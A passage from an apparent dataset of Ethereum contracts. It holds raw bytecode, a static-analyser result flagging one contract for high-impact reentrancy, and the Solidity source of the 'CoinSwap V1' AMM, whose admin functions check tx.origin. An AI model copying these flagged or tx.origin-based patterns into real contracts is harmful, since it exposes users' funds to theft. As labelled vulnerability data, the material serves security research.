42073696044820152627a652160e81b60648201526084016105d8565b6000610fe9306107b9565b6019546017549192508210159082106110025760175491505b8080156110195750601654600160a81b900460ff16155b801561103357506016546001600160a01b03868116911614155b80156110485750601654600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a08261130f565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506016546001600160a01b0385811691161480159061112957506016546001600160a01b03848116911614155b15611136575060006111b0565b6016546001600160a01b03858116911614801561116157506015546001600160a01b03848116911614155b1561117357600954600d55600a54600e555b6016546001600160a01b03848116911614801561119e57506015546001600160a01b03858116911614155b156111b057600b54600d55600c54600e555b610a3d848484846114b4565b600081848411156111e05760405162461bcd60e51b81526004016105d89190611c08565b5060006111ed8486611d57565b95945050505050565b6013546001600160a01b03166108fc61121b60646112158560216114e2565b90611561565b6040518115909202916000818181858888f19350505050158015611243573d6000803e3d6000fd5b506014546001600160a01b03166108fc61126360646112158560436114e2565b6040518115909202916000818181858888f19350505050158015610657573d6000803e3d6000fd5b60006006548211156112f25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105d8565b60006112fc6115a3565b90506113088382611561565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113b957600080fd5b505afa1580156113cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f191906119a0565b8160018151811061141257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114389130911684610b5c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611471908590600090869030904290600401611c90565b600060405180830381600087803b15801561148b57600080fd5b505af115801561149f573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806114c1576114c16115c6565b6114cc8484846115f4565b80610a3d57610a3d600f54600d55601054600e55565b6000826114f15750600061066c565b60006114fd8385611d38565b90508261150a8583611d18565b146113085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d8565b600061130883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116eb565b60008060006115b0611719565b90925090506115bf8282611561565b9250505090565b600d541580156115d65750600e54155b156115dd57565b600d8054600f55600e805460105560009182905555565b60008060008060008061160687611759565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163890876117b6565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166790866117f8565b6001600160a01b03891660009081526002602052604090205561168981611857565b61169384836118a1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d891815260200190565b60405180910390a3505050505050505050565b6000818361170c5760405162461bcd60e51b81526004016105d89190611c08565b5060006111ed8486611d18565b6006546000908190678ac7230489e800006117348282611561565b82101561175057505060065492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006117768a600d54600e546118c5565b92509250925060006117866115a3565b905060008060006117998e878787611914565b919e509c509a509598509396509194505050505091939550919395565b600061130883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b6000806118058385611d00565b9050838110156113085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d8565b60006118616115a3565b9050600061186f83836114e2565b3060009081526002602052604090205490915061188c90826117f8565b30600090815260026020526040902055505050565b6006546118ae90836117b6565b6006556007546118be90826117f8565b6007555050565b60008080806118d9606461121589896114e2565b905060006118ec60646112158a896114e2565b90506000611904826118fe8b866117b6565b906117b6565b9992985090965090945050505050565b600080808061192388866114e2565b9050600061193188876114e2565b9050600061193f88886114e2565b90506000611951826118fe86866117b6565b939b939a50919850919650505050505050565b803561196f81611db5565b919050565b8035801515811461196f57600080fd5b600060208284031215611995578081fd5b813561130881611db5565b6000602082840312156119b1578081fd5b815161130881611db5565b600080604083850312156119ce578081fd5b82356119d981611db5565b915060208301356119e981611db5565b809150509250929050565b600080600060608486031215611a08578081fd5b8335611a1381611db5565b92506020840135611a2381611db5565b929592945050506040919091013590565b60008060408385031215611a46578182fd5b8235611a5181611db5565b946020939093013593505050565b600080600060408486031215611a73578283fd5b833567ffffffffffffffff80821115611a8a578485fd5b818601915086601f830112611a9d578485fd5b813581811115611aab578586fd5b8760208260051b8501011115611abf578586fd5b602092830195509350611ad59186019050611974565b90509250925092565b60006020808385031215611af0578182fd5b823567ffffffffffffffff80821115611b07578384fd5b818501915085601f830112611b1a578384fd5b813581811115611b2c57611b2c611d9f565b8060051b604051601f19603f83011681018181108582111715611b5157611b51611d9f565b604052828152858101935084860182860187018a1015611b6f578788fd5b8795505b83861015611b9857611b8481611964565b855260019590950194938601938601611b73565b5098975050505050505050565b600060208284031215611bb6578081fd5b61130882611974565b600060208284031215611bd0578081fd5b5035919050565b60008060008060808587031215611bec578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3457858101830151858201604001528201611c18565b81811115611c455783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cdf5784516001600160a01b031683529383019391830191600101611cba565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1357611d13611d89565b500190565b600082611d3357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5257611d52611d89565b500290565b600082821015611d6957611d69611d89565b500390565b6000600019821415611d8257611d82611d89565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208dc824269abf7f38d495e8ddb6c60d69b4e25be88214846f36ba9bf00bfffd5964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,302
0x12ee90f9b476f1808544c1e8abe1266d95e5e613
/** *Submitted for verification at Etherscan.io on 2021-03-14 */ //SPDX-License-Identifier: TBD pragma solidity =0.7.4; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface ICoinSwapERC20 is IERC20 { event Swap(address indexed,uint192,uint192,address indexed); event Sync(uint); event Mint(address indexed sender, uint192); event Burn(address indexed sender, uint192, address indexed to); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface ICoinSwapCallee { function coinswapCall(address sender, uint amount0,uint amount1, bytes calldata data) external; } contract CoinSwapERC20 is ICoinSwapERC20 { using SafeMath for uint; string public constant override name = 'CoinSwap V1'; string public constant override symbol = 'CSWPLT';//CoinSwap Liquidity Token uint8 public constant override decimals = 18; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; bytes32 public override DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public override nonces; constructor() { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external override returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override { require(deadline >= block.timestamp, 'CSWP:01'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'CSWP:02'); _approve(owner, spender, value); } } contract CoinSwapPair is CoinSwapERC20 { using SafeMath for uint; address public patron; address public factory; address public token0; // token0 < token1 address public token1; uint224 private reserve; //reserve0(96) | reserve1(96) | blockTimestampLast(32) uint private unlocked = 1; uint public priceCumulative; //=Delta_y/Delta_x: 96-fractional bits; allows overflow uint224 private circleData; modifier lock() { require(unlocked == 1, 'CSWP:1'); unlocked = 0; _; unlocked = 1; } constructor() {factory = msg.sender; patron=tx.origin;} function initialize(address _token0, address _token1, uint224 circle) external { //circle needs to in order of token0<token1 require(circleData == 0, 'CSWP:2'); token0 = _token0; token1 = _token1; circleData = circle; // validity of circle should be checked by CoinSwapFactory } function ICO(uint224 _circleData) external { require( (tx.origin==patron) && (circleData >> 216) >0, 'CSWP:3');//to close ICO, set (circleData >> 216) = 0x00 circleData = _circleData; } function setPatron(address _patron) external { require( (tx.origin==patron), 'CSWP:11'); patron = _patron; } function getReserves() public view returns (uint224 _reserve, uint224 _circleData) { _reserve = reserve; _circleData = circleData; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP:6'); } function revisemu(uint192 balance) private returns (uint56 _mu) { require(balance>0, 'CSWP:4'); uint224 _circleData = circleData; uint X = uint(balance>>96) * uint16(_circleData >> 72)* uint56(_circleData >> 160); uint Y = uint(uint96(balance)) * uint16(_circleData >> 56)* uint56(_circleData >> 104); uint XpY = X + Y; uint X2pY2 = (X*X) + (Y*Y); X = XpY*100; Y = (X*X) + X2pY2 * (10000+ uint16(_circleData>>88)); uint Z= X2pY2 * 20000; require(Y>Z, 'CSWP:5'); Y = SQRT.sqrt(Y-Z); Z = Y > X ? X + Y : X-Y; _mu = uint56(1)+uint56(((10**32)*Z) / X2pY2); circleData = (_circleData & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(_mu); } // update reserves and, on the first call per block, price accumulators function _update(uint balance) private { uint32 lastTime = uint32(balance); uint32 deltaTime = uint32(block.timestamp) -lastTime ; if (deltaTime>0 && lastTime>0) { uint circle = circleData; uint lambda0 = uint16(circle >> 72); uint lambda1 = uint16(circle >> 56); uint CmulambdaX = 10**34 - (balance>>128) *lambda0*uint56(circle)*uint56(circle >> 160); uint CmulambdaY = 10**34 - uint96(balance>>32)*lambda1*uint56(circle)*uint56(circle >> 104); priceCumulative += (((lambda0*CmulambdaX)<< 96)/(lambda1*CmulambdaY)) * deltaTime; } reserve = uint224(balance +deltaTime); emit Sync(balance>>32); } function _mintFee(uint56 mu0) private returns (uint56 mu) { address feeTo = CoinSwapFactory(factory).feeTo(); mu=revisemu(uint192(reserve>>32)); if (mu0>mu) _mint(feeTo, totalSupply.mul(uint(mu0-mu)) / (5*mu0+mu)); } function mint(address to) external lock returns (uint liquidity) { uint224 circle = circleData; uint _totalSupply = totalSupply; uint224 _reserve = reserve; uint96 reserve0 = uint96(_reserve >>128); uint96 reserve1 = uint96(_reserve >>32); uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint scaledBalance0 = balance0* uint56(circle >> 160); uint scaledBalance1 = balance1* uint56(circle >> 104); require((scaledBalance0< 2**96) && (scaledBalance1< 2**96) && ( scaledBalance0 >=10**16 || scaledBalance1 >=10**16), 'CSWP:7'); if (_totalSupply == 0) { uint lambda0 = uint16(circle >> 72); uint lambda1 = uint16(circle >> 56); liquidity = (scaledBalance0 * lambda0 + scaledBalance1 * lambda1) >> 1; revisemu(uint192((balance0<<96)|balance1)); } else { uint56 mu0=_mintFee(uint56(circle)); _totalSupply = totalSupply; (uint mu, uint _totalS)=(0,0); if (reserve0==0) { mu=(uint(mu0) * reserve1) / balance1; _totalS = _totalSupply.mul(balance1)/reserve1; } else if (reserve1==0) { mu=(uint(mu0) * reserve0) / balance0; _totalS = _totalSupply.mul(balance0)/reserve0; } else { (mu, _totalS) = (balance0 * reserve1) < (balance1 * reserve0)? ((uint(mu0) * reserve0) / balance0, _totalSupply.mul(balance0)/reserve0) : ((uint(mu0) * reserve1) / balance1, _totalSupply.mul(balance1)/reserve1) ; } liquidity = _totalS - _totalSupply; circleData = (circle & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(mu); } _mint(to, liquidity); _update(balance0<<128 | balance1<<32 | uint32(_reserve)); emit Mint(msg.sender, uint192((balance0-reserve0)<<96 | (balance1-reserve1))); } function burn(address to) external lock returns (uint192 amount) { uint224 _reserve = reserve; address _token0 = token0; address _token1 = token1; _mintFee(uint56(circleData)); uint _totalSupply = totalSupply; uint liquidity = balanceOf[address(this)]; uint amount0 = liquidity.mul(uint96(_reserve>>128)) / _totalSupply; uint amount1 = liquidity.mul(uint96(_reserve>>32)) / _totalSupply; amount = uint192((amount0<<96)|amount1); require(amount > 0, 'CSWP:8'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); uint192 combinedBalance = uint192(IERC20(_token0).balanceOf(address(this))<<96 | IERC20(_token1).balanceOf(address(this))); _update(uint(combinedBalance)<<32 | uint32(_reserve)); if (combinedBalance>0) revisemu(combinedBalance); emit Burn(msg.sender, amount, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amountOut, address to, bytes calldata data) external lock { uint amount0Out = (amountOut >> 96); uint amount1Out = uint(uint96(amountOut)); uint balance0; uint balance1; uint _circleData = circleData; { // avoids stack too deep errors address _token0 = token0; address _token1 = token1; require((to != _token0) && (to != _token1), 'CSWP:9'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); if (data.length > 0) ICoinSwapCallee(to).coinswapCall(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); require(balance0*uint56(_circleData >> 160) < 2**96 && balance1*uint56(_circleData >> 104) < 2**96, 'CSWP:10'); } uint amountIn0; uint amountIn1; uint224 _reserve = reserve; {// if _reserve0 < amountOut, then should have been reverted above already, so no need to check here uint96 reserve0 = uint96(_reserve >>128); uint96 reserve1 = uint96(_reserve >>32); amountIn0 = balance0 + amount0Out - reserve0; amountIn1 = balance1 + amount1Out - reserve1; uint mulambda0 = uint(uint16(_circleData >> 72))*uint56(_circleData)*uint56(_circleData >> 160); uint mulambda1 = uint(uint16(_circleData >> 56))*uint56(_circleData)*uint56(_circleData >> 104); uint X=mulambda0*(balance0*1000 - amountIn0*3); uint Y=mulambda1*(balance1*1000 - amountIn1*3); require(10**37 > X && 10**37 >Y, 'CSWP:11'); X = 10**37-X; Y = 10**37-Y; uint newrSquare = X*X+Y*Y; X=10**37-(mulambda0 * reserve0*1000); Y=10**37-(mulambda1 * reserve1*1000); require(newrSquare<= (X*X+Y*Y), 'CSWP:12'); } _update(balance0<<128 | balance1<<32 | uint32(_reserve)); emit Swap(msg.sender, uint192(amountIn0<<96 | amountIn1), uint192(amountOut), to); } } contract CoinSwapFactory { address payable public feeTo; address payable public feeToSetter; mapping(address => mapping(address => address)) public getPair; address[] public allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address payable _feeToSetter) { feeToSetter = _feeToSetter; feeTo = _feeToSetter; } function allPairsLength() external view returns (uint) { return allPairs.length; } function createPair(address tokenA, address tokenB, uint224 circle) external returns (address pair) { require(tx.origin==feeToSetter, 'CSWP:22'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(getPair[token0][token1] == address(0), 'CSWP:20'); require(uint16(circle>>56)>0 && uint16(circle>>72)>0 && uint16(circle>>88)>0 && uint16(circle>>88)<=9999 && uint56(circle>>104)>=1 && uint56(circle>>104)<=10**16 && uint56(circle>>160)>=1 && uint56(circle>>160)<=10**16, 'CSWP:23'); bytes memory bytecode = type(CoinSwapPair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } CoinSwapPair(pair).initialize(token0, token1, circle); getPair[token0][token1] = pair; getPair[token1][token0] = pair; allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address payable _feeTo) external { require(msg.sender == feeToSetter, 'CSWP:21'); feeTo = _feeTo; } function setFeeToSetter(address payable _feeToSetter) external { require(msg.sender == feeToSetter, 'CSWP:22'); feeToSetter = _feeToSetter; } } library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } library SQRT { function sqrt(uint256 a) internal pure returns (uint256 x) { if (a > 3) { uint msbpos =0; uint b=a; if (b > 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) { msbpos += 128; b = b >> 128; } if (b > 0xFFFFFFFFFFFFFFFF) { msbpos += 64; b = b>>64; } if (b > 0xFFFFFFFF ) { msbpos += 32; b = b>>32; } if (b > 0xFFFF ) { msbpos += 16; b = b>>16; } if (b > 0xFF ) { msbpos += 8; b = b>>8; } if (b > 0xF ) { msbpos += 4; } msbpos += 4; uint256 x0=a; uint X=((a >> 1) + 1); uint Y=2**(msbpos/2); x = X< Y ? X : Y; while (x < x0 ) { x0 = x; x = (a / x0 + x0) >> 1; } } else if (a != 0) { x = 1; } } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063a2e74af61161005b578063a2e74af6146100fd578063e6a4390514610132578063f46901ed1461016d578063f5bf439c146101a057610088565b8063017e7e581461008d578063094b7415146100be5780631e3dd18b146100c6578063574f2ba3146100e3575b600080fd5b610095610202565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61009561021e565b610095600480360360208110156100dc57600080fd5b503561023a565b6100eb610271565b60408051918252519081900360200190f35b6101306004803603602081101561011357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610277565b005b6100956004803603604081101561014857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610344565b6101306004803603602081101561018357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610377565b610095600480360360608110156101b657600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff90811691602081013590911690604001357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16610444565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6003818154811061024a57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60035490565b60015473ffffffffffffffffffffffffffffffffffffffff1633146102fd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a323200000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600260209081526000928352604080842090915290825290205473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1633146103fd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a323100000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015460009073ffffffffffffffffffffffffffffffffffffffff1632146104cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a323200000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000808473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161061050a57848661050d565b85855b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600260209081526040808320848616845290915290205492945090925016156105b457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a323000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61ffff603885901c16158015906105d2575061ffff604885901c1615155b80156105e5575061ffff605885901c1615155b80156105fb575061270f61ffff605886901c1611155b80156106155750600166ffffffffffffff606886901c1610155b80156106355750662386f26fc1000066ffffffffffffff606886901c1611155b801561064f5750600166ffffffffffffff60a086901c1610155b801561066f5750662386f26fc1000066ffffffffffffff60a086901c1611155b6106da57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a323300000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6060604051806020016106ec90610930565b6020820181038252601f19601f82011660405250905060008383604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140192505050604051602081830303815290604052805190602001209050808251602084016000f594508473ffffffffffffffffffffffffffffffffffffffff16639aefb41c8585896040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b5050505073ffffffffffffffffffffffffffffffffffffffff84811660008181526002602081815260408084208987168086529083528185208054978d167fffffffffffffffffffffffff000000000000000000000000000000000000000098891681179091559383528185208686528352818520805488168517905560038054600181018255958190527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90950180549097168417909655925483519283529082015281517f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9929181900390910190a3505050509392505050565b612d038061093e8339019056fe60806040526001600a5534801561001557600080fd5b50604080518082018252600b81526a436f696e5377617020563160a81b6020918201528151808301835260018152603160f81b9082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f818301527fc1e33dded6030cf7f652b01ef8da874983e7e04d2d1f525476560d74265a560a818401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a0808301919091528351808303909101815260c09091019092528151910120600355600680546001600160a01b031990811633179091556005805490911632179055612bec806101176000396000f3fe608060405234801561001057600080fd5b50600436106101a35760003560e01c806362058b10116100ee5780639aefb41c11610097578063c45a015511610071578063c45a01551461063d578063d21220a714610645578063d505accf1461064d578063dd62ed3e146106ab576101a3565b80639aefb41c1461056f578063a876f4d9146105d1578063a9059cbb14610604576101a3565b80637ecebe00116100c85780637ecebe00146104d457806389afcb441461050757806395d89b4114610567576101a3565b806362058b10146104335780636a6278421461046e57806370a08231146104a1576101a3565b806318160ddd1161015057806330adf81f1161012a57806330adf81f14610405578063313ce5671461040d5780633644e5151461042b576101a3565b806318160ddd146103265780631c6da7241461032e57806323b872dd146103c2576101a3565b80630abb3e0b116101815780630abb3e0b146102d35780630ba32b27146102ed5780630dfe16811461031e576101a3565b806306fdde03146101a85780630902f1ac14610225578063095ea7b314610286575b600080fd5b6101b06106e6565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ea5781810151838201526020016101d2565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022d61071f565b60405180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6102bf6004803603604081101561029c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561074b565b604080519115158252519081900360200190f35b6102db610762565b60408051918252519081900360200190f35b6102f5610768565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6102f5610784565b6102db6107a0565b6103c06004803603606081101561034457600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff6020820135169181019060608101604082013564010000000081111561038157600080fd5b82018360208201111561039357600080fd5b803590602001918460018302840111640100000000831117156103b557600080fd5b5090925090506107a6565b005b6102bf600480360360608110156103d857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610eac565b6102db610f85565b610415610fa9565b6040805160ff9092168252519081900360200190f35b6102db610fae565b6103c06004803603602081101561044957600080fd5b50357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16610fb4565b6102db6004803603602081101561048457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661109c565b6102db600480360360208110156104b757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611660565b6102db600480360360208110156104ea57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611672565b61053a6004803603602081101561051d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611684565b6040805177ffffffffffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101b0611a74565b6103c06004803603606081101561058557600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff90811691602081013590911690604001357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611aad565b6103c0600480360360208110156105e757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611bde565b6102bf6004803603604081101561061a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135611cab565b6102f5611cb8565b6102f5611cd4565b6103c0600480360360e081101561066357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611cf0565b6102db600480360360408110156106c157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611fbc565b6040518060400160405280600b81526020017f436f696e5377617020563100000000000000000000000000000000000000000081525081565b600954600c547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff91821692911690565b6000610758338484611fd9565b5060015b92915050565b600b5481565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600a5460011461081757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a310000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000600a819055600c54600754600854606088901c936bffffffffffffffffffffffff891693909283927bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9092169173ffffffffffffffffffffffffffffffffffffffff91821691908116908a1682148015906108bc57508073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b61092757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a390000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b861561093857610938828b89612048565b851561094957610949818b88612048565b8715610a15578973ffffffffffffffffffffffffffffffffffffffff16636a565cd93389898d8d6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a8157600080fd5b505afa158015610a95573d6000803e3d6000fd5b505050506040513d6020811015610aab57600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610b1d57600080fd5b505afa158015610b31573d6000803e3d6000fd5b505050506040513d6020811015610b4757600080fd5b505193506c0100000000000000000000000066ffffffffffffff60a085901c168602108015610b9157506c01000000000000000000000000606884901c66ffffffffffffff168502105b610bfc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a313000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b50506009546bffffffffffffffffffffffff608082901c811685880181900392602081901c92831686890103927bffffffffffffffffffffffffffffffffffffffffffffffffffffffff909116919077ffffffffffffffffffffffffffffffffffffffffffffffff1661ffff604887901c811666ffffffffffffff80891691820260a08a901c8216029260388a901c16909102606889901c9091160260038088026103e8808d02919091038402918802908b020382026f0785ee10d5da46d900f436a000000